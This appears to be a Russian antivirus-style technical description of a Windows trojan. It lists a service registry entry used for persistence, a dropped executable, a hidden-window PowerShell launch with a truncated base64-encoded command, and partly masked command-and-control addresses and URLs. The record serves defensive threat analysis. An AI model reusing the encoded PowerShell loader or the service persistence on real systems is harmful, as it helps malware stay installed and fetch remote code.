Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\shacct] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\shacct] 'ImagePath' = '"%WINDIR%\SysWOW64\sppcommdlg\shacct.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAEoARgBDAE4AYgBrAHIAPQAnAFYAQwBXAFYAWgBtAHAAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAHIAaQBgAFQAWQBQAGAAUgBPAHQAbwBDAE8AbAAiACAAPQAgAC...
- %HOMEPATH%\273.exe
- %WINDIR%\syswow64\sppcommdlg\shacct.exe
- %HOMEPATH%\273.exe в %WINDIR%\syswow64\sppcommdlg\shacct.exe
- '73.##6.193.136':80
- '18#.#4.252.13':443
- http://ar#####oductions.com/cgi-bin/xHdbmk/
- http://18#.##.252.13:443/lB2ZYzifVvU/gPtf2gD5Tutt1/2DKHlEiNhIEti1K61/fejnM/lVgeuqo2/yB0RCyCK/ via 18#.#4.252.13
- DNS ASK ar#####oductions.com
- '%HOMEPATH%\273.exe'
- '%WINDIR%\syswow64\sppcommdlg\shacct.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAEoARgBDAE4AYgBrAHIAPQAnAFYAQwBXAFYAWgBtAHAAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAHIAaQBgAFQAWQBQAGAAUgBPAHQAbwBDAE8AbAAiACAAPQAgAC...' (со скрытым окном)